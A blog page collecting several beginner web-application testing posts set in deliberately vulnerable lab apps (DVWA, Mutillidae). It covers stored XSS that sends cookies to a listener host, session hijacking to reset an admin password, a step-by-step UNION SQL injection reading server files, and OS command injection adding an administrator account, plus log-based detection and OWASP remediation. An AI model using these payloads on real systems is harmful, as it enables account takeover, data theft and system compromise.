Sunday, February 5, 2017

Beginning Web Application: Testing Session Hijacking - DVWA

This post we look to take advantage of the trust a website has with a user's browser. An attacker may be able to leverage social engineering techniques to trick a user of an application into executing actions of the attacker choosing. If the user has admin level privileges, this vulnerability may result in a compromise of the entire web application.

In this post, we will complete a stored XSS attack against DVWA application to obtain "admin" cookie when visits are made to this page and then use that cookie to change the "admin" account of Dam Vulnerable Web App (DVWA) from another device. With stored XSS, whenever a user visit the page in question, the malicious code would be executed and the user's cookie would be sent to the remote server listening for the connections.

Once again, in this post we will leverage “netcat” to receive the cookie.

First up, let's embed the following code “<script>window.location="http://10.0.0.101/stealcookie.txt?"+document.cookie</script>” in the web page of the DVWA Guestbook.



Whenever a user visit the guestbook, the page loads and he or she sees ...


... and as can be seen above, nothing looks suspicious.

However, at the remote end the attacker sees ...


As show above, the attacker now has information which is helpful such as the site which sent the information along with the cookie, etc.

Now let's assume, the attacker knows how this app works and thus wants to change the "admin" account so that he or she can login. As a result, the attacker does the following.

1. Connect to the remote site using netcat (nc)
2. Crafts a “HTTP GET” request for "/dvwa/vulnerabilities/csrf/?password_new=SecurityNik&password_conf=SecurityNik&Change=Change", changing the password to "SecurityNik" so that he or she can login to the site directly.

3. Set the Host header as: "10.0.0.103"
4. Set the cookie header as "security=low; PHPSESSID=7rl0ua40n463bt6kh1r51j72h7"

Once we send along our request as crafted below ...


... we see the server responds with a "200 OK".


... and as we look into the returned text, we see ...


Look like we have managed to change the “admin” password. I’m sure there is more we can do now that we have credentials.

At this point if the application did not logout the user and ask to reauthenticate with the new credentials and if it supports multiple sessions, we can then authenticate with the new credentials and do whatever we want as that user - in this case admin. Obviously, all our activities at this point would be tied back to the malicious user's IP. However, that is not the focus of this post. The objective is to show how we can steal the cookie and reuse it.

Let's now try to use the new credentials


Once "Login" is clicked we see ...


Voila! Looks like this worked well.

What Works in remediating this vulnerability?


Reference:
OWASP Session Hijacking
Wikipedia Session Hijacking

Beginning Web Application Testing: Detecting SQL Injection - Mutillidae





SQL Injection like most attacks can be detected via logs, packets or once again from the user’s browser cache as well as other sources.

Once again, let’s get down to detecting this.

Since we already know that this attack is leveraging the “username” parameter, let’s target our detection on this parameter so as to make best use of our time.

cat --number sqlInjection.log | grep "\&username\=.*?" --colour=always --only-matching | cut --fields 2 --delimiter "=" | cut --fields 1 --delimiter "&" | sort | uniq -c | sort --numeric --reverse | more


While the above shows shows the SQL injections, it does not really say whether these were successful. This is due primarily for the fact that these events are stored in Apache’s “access.log” and uses the HTTP “GET” method. Considering we enabled Apache’s “mod_dumpio” in the post on Command Injection , we can now leverage Apache’s “error.log” to validate whether these were successful or not.

Let’s use the following one liner “cat --number sqlInjectionError.log | grep --perl-regexp "admin\'.*?\s+\-\-|\;\.[0-9]*\s+.*?\.|or\s+1\=1\s+\-\-|\s+ReflectedXSSExecutionPoint\=\"1\"\>.*?\<" --colour=always | more” against our logs to identify whether or not any data was returned.Basically this will be used for the entire analysis.


The above shows that the SQL “’ or 1=1 – ” was successful. In this case 24 records were returned and we can see a snapshot of some of these above.

The image below shows the query and results for the current database version.


The image below shows a snapshot of the dump of all the tables and columns.
SQL injection dump tables

The following table shows the result returned showing the “current_user” of the database.
SQL injection - current user

The following shows the “database” which the application is accessing.


And last but not least before we wrap this up, a look at the results from the attempt to access “CorpSecrets.txt



That’s it for detecting SQL injection. See you in the next post for Session Hijacking.

Beginning Web Application Testing: SQL Injection - Mutillidae

In this post, we will take a look at SQL injection and will use Mutillidae (NOWASP) for our learnings. SQL injection attacks are typically created as a resulted of dynamic database queries that include user supplied input.

Specifically, we will use  "Mutillidae -> OWASP 2013 -> A1 - Injection (SQL) -> SQLi - Extract Data -> User Info (SQL)”.



First on our agenda is to test the page to see if the possibility exists for an SQL injection. To do this, let's use the "tic" (') character to see what we can learn.


Hmmm! From the 'tic' we were able to learn a reasonable amount of information about the database which supports this application. What are some of the things we have learned? Let's take 2 things.

1. "File" - We can see the entire path of the file which is handling this error. From looking at it there is additional information which can be inferred, such as this is more than likely a Microsoft Windows device on which the server is running.

2. From the "Message" we can see that this is a “MySQL” database. Why is this important? The database in the backend will determine the type of interaction we can have with it via the application.

Let's expand on our "' with "' or 1=1 -- " (note the space after the 2 hyphens. This is needed for MySQL comments)


Whoopsy!! Looks like we dumped the entire table above.

Looks like we are making progress! Let's see what else we can do. How about we try to determine the database version? For this let's try to leverage "admin" account to reduce the number of rows which will be returned. So our query will now look like "admin' -- " (do remember there is a space after the hyphens)

Trying to get the database version, let's try "admin' UNION SELECT @@version -- "


Bummer!! So we got an error above stating "error: The used SELECT statements have a different number of columns". Ahh man, so now we need to ensure the number of columns are balanced. Let's try to learn the number of columns in this table. Let's use "admin' UNION SELECT NULL -- "

When we run the above we got the same error again about the number of columns. So let's build on this to find out the correct number of "NULL"s we need to use here.

Next try ...
"admin' UNION SELECT NULL -- "
... and then
"admin' UNION SELECT NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL -- "
... and then Finally
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL -- "


From above, we see that rather than the error, we now have columns reported as 2.

Now that we have our number of columns, let's try to get the database version ... again ...

We use "admin' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL -- "

Bummer!! Nothing was returned, we got the same screen as the one with 2 success.

Let's look at each columns to determine which ones will accept our strings or at least which ones produces the "username", "password" and "signature". To figure this out, let's put some strings in each null field.

"admin' UNION SELECT 'Column-1','Column-2','Column-3','Column-4','Column-5','Column-6','Column-7' -- "


From above we see that Columns 2, 3 and 4 are the ones which we can use with our strings. Let's revisit that attempt to get the database version. We will also replace the "Column-X" with NULLs

"admin' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL --  "


Good progress so far. We have now managed to obtain the database version.

Let's continue! How about we dump the database schema. so we can see a list of tables with their associated names, etc.

"admin' UNION SELECT NULL,table_name,column_name,NULL,NULL,NULL,NULL FROM information_schema.columns -- "


Now that we have gotten a dump of the database structure (note image above is a snapshot), we can now look at the other tables, to see where we may be able to extract data of relevance.

Going through the list we see the "accounts" table. This list contains the user information which we were able to obtain at the beginning of the tests. Let's dump table "accounts" to learn more about it.

"admin' UNION SELECT NULL,table_name,column_name,data_type,NULL,NULL,NULL FROM information_schema.columns WHERE table_name = 'accounts' -- "


We see there are additional fields such as "cid", "is_admin", "firstname", and "lastname". (note image above is a snapshot)

Let's see what we can learn about "is_admin".

"' UNION SELECT NULL,cid,username,is_admin,NULL,NULL,NULL FROM accounts -- "


Looks like the value for "is_admin" is either "TRUE" or "FALSE". From this we have a list of admin users in the database.

Let's take a look to see which user the application is accessing the database as.

"admin' UNION SELECT NULL,current_user(),NULL,NULL,NULL,NULL,NULL -- "


Very interesting! This application is running as root ...

.. and what database are we connected to?

"admin' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL -- "

Let's now try to read a file from the server's filesystem ...

admin' UNION SELECT NULL,LOAD_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts'),NULL,NULL,NULL,NULL,NULL -–


As we can see we managed to load the contents of the "WINDOWS\\system32\\drivers\\etc\\hosts" file.

Ok! let's make it a bit more interesting. How about if we knew of a specific file which had corporate secrets? Let's grab that file.

admin' UNION SELECT NULL,LOAD_FILE('..\\..\\..\\..\\Secret\\CorpSecrets.txt'),NULL,NULL,NULL,NULL,NULL --

How to secure your organization from SQL injection
We did a lot in terms of demonstrating the effects of SQL injection. However, understanding how we protect ourselves from this is just as important.

The guidance at this time based on my understanding and according to w3schools is "The only proven way to protect a web site from SQL injection attacks, is to use SQL parameters." SQL parameters are values that are added to the SQL Query at execution time in a more controlled manner.

The guidance from OWASP is that one out of 3 options are available. The first and primary option is the use of prepared statements with parameterized queries which is similar to the guidance of W3Schools. Alternatively, there can be usage of stored procedures or finally the escaping of all user supplied input. Escaping of all user supplied input should only be used as a last resort when you are unable to use either parameterized queries or stored procedures as there is no guarantee that it will prevent all SQL Injections in all situations. OWASP also provides additional guidance such as enforcing of least privileges in which you restrict the level of access your application accounts have to the database and white list validation.

Parameterized queries allows the database to distinguish between code and data, regardless of what the user inputs. Prepared statements ensure that even if  SQL commands are inserted by an attacker, they are unable to change the intent of the query.

As it relates to OWASP option 2, stored procedures, OWASP states that this is not always safe from SQL Injection. However, when implemented safely it can have the same effect of parameterized queries.

References:
https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project
http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10
https://sourceforge.net/projects/mutillidae/
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
https://en.wikipedia.org/wiki/SQL_injection
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
https://msdn.microsoft.com/en-us/library/ff648339.aspx
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
http://www.w3schools.com/Sql/sql_injection.asp
https://dev.mysql.com/doc/connector-net/en/connector-net-tutorials-stored-procedures.html
https://www.mssqltips.com/sqlservertutorial/3212/get-free-sql-tips/
https://dev.mysql.com/doc/connector-net/en/connector-net-tutorials-parameters.htmlhttps://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet
http://stackoverflow.com/questions/1894026/examples-of-parameterized-queries
http://dev.mysql.com/doc/refman/5.7/en/sql-syntax-prepared-statements.html
http://php.net/manual/en/pdo.prepared-statements.php
https://blogs.msdn.microsoft.com/sqlphp/2008/09/30/how-and-why-to-use-parameterized-queries/
https://blog.codinghorror.com/give-me-parameterized-sql-or-give-me-death/
http://www.unixwiz.net/techtips/sql-injection.html
https://msdn.microsoft.com/en-us/library/ms190782.aspx
https://docs.oracle.com/javase/tutorial/jdbc/basics/storedprocedures.html

Beginning Web Application Testing: Detecting OS Command Injection - DVWA

As stated in the previous post, in order to be able to log web traffic via “POST” method and at least from Apache perspective, we needed to enable “mod_dumpio”. Take a look at the previous post for guidance on how to perform that configuration.

Let’s get into the meat of things right away.

First it is important to note that this logging is being done in “debug” mode. As a result there is a large volume of data in these logs for the investigation we need to do. So let’s focus on what is important or to look at it another way, let’s focus on our indicator here which is IP address “10.0.0.103”.

Using “cat CommandInjection.logs | grep "mod_dumpio" | grep --perl-regexp "10.0.0.103" --colour=always | more” we see the first snapshot of our input which was “-n+1+-l+4000+10.0.0.103” when encoded. The image below show both the input and output for this first activity.


While going through the log this way may prove helpful, for demonstration purposes and in the interest of time, let’s look at it from a different perspective.

Let first look at all the input which came in and we can do this via this one-liner “cat --number CommandInjection.logs | grep --perl-regexp "dumpio_in" | grep --perl-regexp ":\s+ip=.*?\&" --only-matching | sort | uniq --count | sort --numeric --reverse”.

From above we see there were a total of 16 requests which came in. One of them occurring 4 times, another 2 times and the rest 1 time.

The same method which was used to decode the logs in the blog entry on detecting Cross Site Scripting (XSS) can be used to decode these logs. Alternatively, we could simply copy this text, paste it into something like “Notepad++” or another decoder tool of your choice.

The image below shows “Notepad++” URL decoding of the input.
URL Decode - Command Injection

Now that we have the input, let’s see if and or what our server returned.

Starting off with the attempt to kill the “VBoxService.exe”, let’s use “grep” to make this easier for us to understand if our server returned anything. Using “
cat --number CommandInjection.logs | grep --perl-regexp "\s+The\sprocess.*?\<|taskkill.*?\&" --colour=always” we get a clear view that the command was executed successfully as shown below. Thus the process was terminated.
 

Let’s now take a look at the attempt to add the “webHack” user to the “Administrators” group. Once again, let’s use “grep” to make this easier via the following “cat --number CommandInjection.logs | grep --perl-regexp "net+.*?\&|The\s+command.*?\." --colour=always | more”.



Above we see the user “webHack” is successfully added to the system. Next step is to validate whether or not the user actually got created. The image below shows it was successfully created and this was confirmed via “cat --number CommandInjection.logs | grep --perl-regexp "net\+.*?\&|The\s+command.*?\.|webHack" --colour=always | more”.


Next we see the user being successfully added to the “Administrators” group.


Finally we see the validation that the user was successfully added. This can be seen via “
cat --number CommandInjection.logs | grep --perl-regexp "net\+.*?\&|The\s+command.*?\.|webHack" --colour=always | more

command injection - validate user is an administrator


Ok then! That’s it for detecting command injection. On to the next post SQL Injection.

Saturday, February 4, 2017

Beginning Web Application Testing: OS Command Injection - DVWA

In OS Command objection, we are attempting to leverage the web application's interface to execute OS commands on a web server. With this ability to execute commands, an attacker can perform numerous tasks via the web application similar to if if he or she were at the server console.

In the case of the Dam Vulnerable Web App (DVWA), it allows a page for us to do "ping" as shown below.


Since we know we can ping, let's see if we can add any other commands to this.

Previously we had "-n 1 -l 4000". Let's now make this "-n 1 -l 4000 10.0.0.103 && tasklist" to see if we can list the running tasks on the device.

Looks like we were successful!

Similar to how we can list the tasks, we can kill a task. This may potentially result in a denial of service (DoS). In this case let's kill the "VBoxService.exe". To do this we will execute "-n 1 -l 4000 10.0.0.103 && taskkill /IM VBoxService.exe /F". This returns the image below which shows that “VBoxServie.exe” has been terminated successfully.

Using the similar concepts we can perform a host of tasks on the OS.

Before we go …
… let's do a directory listing, using the following command "-n 1 -l 4000 10.0.0.103 && dir ..\\..\\..\\" to get an idea of what may be available.

Looks like we hit the webserver folder.

How about a list of the users currently configured on the system? Let’s verify this by using “-n 1 -l 4000 10.0.0.103 && net users”.



Hmmm! Interesting!!

Let’s add a user named “webHack” with password “Password”. To do this we will use “-n 1 -l 4000 10.0.0.103 && net user webHack Password /add”.

The image below shows this user was successfully added.
command injection add user

Obviously once the user is added we should then move that user into the “Administrator” group. Let’s do that now using the following command “-n 1 -l 4000 10.0.0.103 && net localgroup Administrators /add webHack”. The output from this should have been “The command completed successfully.” Let’s now verify that it did by looking at the members of the “Administrators” group using the following “-n 1 -l 4000 10.0.0.103 && net localgroup administrators”.


I think at this point we have clearly demonstrated the dangers of Command Injection attacks.

It is important to note in this example, rather than HTTP “GET” we were using HTTP “POST”. By default, your web server may not be logging the data sent in the “POST” method. As a result you may need to enable this feature based on your server version. For Apache the module “mod_dumpio” can be used for this purpose.

In order to demonstrate how we can detect this attack I needed to add the following lines to my “httpd.conf”:
LogLevel debug
DumpIOInput On
DumpIOOutput On
LogLevel dumpio:trace7


The configuration change above will cause the “POST” data input and output to be sent to Apache’s “error.log” rather than its’ “access.log

See you in the next post for our detection of this type of activity.

Remediation:
Prevention of OS Command Injection can be achieved by leveraging the following OWASP guidance.
1. Perform proper input validation
2. Use of Safe APIs which avoids usage of an interpreter entirely.
3. Escape special characters, using specific escape syntax for the interpreter.

Reference:
https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
https://www.blackhat.com/docs/eu-15/materials/eu-15-Stasinopoulos-Commix-Detecting-And-Exploiting-Command-Injection-Flaws-wp.pdf
http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson2/
https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet
Apache mod_dumpio

Beginning Web Application Testing: Detecting Cross Site Scripting (XSS)–DVWA

In the Cyber Security investigation realm, “Indicators of Compromise” is a significant component in determining whether or not you have been compromised. Note it said “Indicators” it does not say yes or no you have been compromised. Smile

Those indicators come from primarily one of two sources, either the logs or the packets traversing the network. However, there are still other sources we can leverage that are based also on the host directly. Maybe information from the browser’s cache as we will see later or maybe the file system, registry or even a process running in memory.

For this detection, let’s focus on logs seen at the web server and the data in the client’s browser cache. I’ve copied the logs and stored them in the “/tmp” folder on Kali.

Let’s go hunting!!
First let’s take a look at the contents of the file we have.


The contents of the file above brings up a sad (my word) reality. Many of times you will have log files with tons of data and will not know where to start looking. This is exactly the reason why having indicators of compromise is important. However, for those situations when you don’t have a known bad, I will post a later blog entry on how you can go about detecting these.

Moving along!!
If we look at the log we can see lots of URL encoded entries. eg “%3Cscript%3E”. Let’s go through the logs to understand what is going on here. But first let’s extract a log entry and try to make sense of its structure.

10.0.0.1 - - [04/Feb/2017:13:34:12 -0500] "GET /dvwa/security.php HTTP/1.1" 200 5850 "
http://10.0.0.102/dvwa/vulnerabilities/xss_r/?
name=+%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F10.0.0.101%2FstealCookie.txt%3F%27%2Bdocument.cookie%3C%2Fscript%3E&user_token=f
dab3756ce90d020d8630cfcdadacfa7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
"

There is a lot of information in this log entry which we can learn about from the
previous blog on detecting web authentication brute forcing. For our purpose let’s use what is most helpful at this time.

From the reference (1) below, we know this log is in Apache’s “Combined Log Format” . As a result, we will pay attention to the “Request line from the client”

Analysis of the requests.
Looking first at the HTTP methods use, below we see  72 (the majority) of our requests uses the “GET” method. We also see 6 “POST” methods. Don’t be fooled and believe that you only need to focus on the ones with the most noise. When doing an investigations you should be more fearful of the things you see less of.

cat xss.log |  cut --fields 2 --delimiter "]" | cut --fields 1 --delimiter "/" | sort | uniq --count | sort --numeric –reverse






Looking closer at the “GET” method we see:
cat xss.log --number | grep --perl-regexp 'GET.*?"' --only-matching | sort | uniq --count | sort --numeric –reverse

Looking at above we see what seems normal and definitely what seems abnormal from the “GET” Methods used. There seems to be 8 entries which are URL encoded.

Let’s now turn to our friend Python3 “urllib” to help us solve one of these problem.

Decoding “GET /dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F10.0.0.101%2FstealCookie.txt%3F%27%2Bdocument.cookie%3C%2Fscript%3E HTTP/1.1"

Python3 to the rescue.


From the above it seems the user executed “<script>window.location='http://10.0.0.101/stealCookie.txt?'+document.cookie</script>” in the “name” parameter field.

Obviously we would want to go through each of those to see what was sent. However, I believe if you have reached this far in reading this, then you should have gotten the picture.

Before we go …
let’s assume we had access to the client that made this request. If we look at the logs above, we already know this user “seems” to be using FireFox. Let’s assume that assumption is correct, we could take a look at the FireFox “cache” to see if this user did make this request to correlate this back to our logs.

The image below shows what this would look like.


Well that’s all folks!!!

Reference:
1.
Apache Log Files
2.
21.8. urllib.parse — Parse URLs into components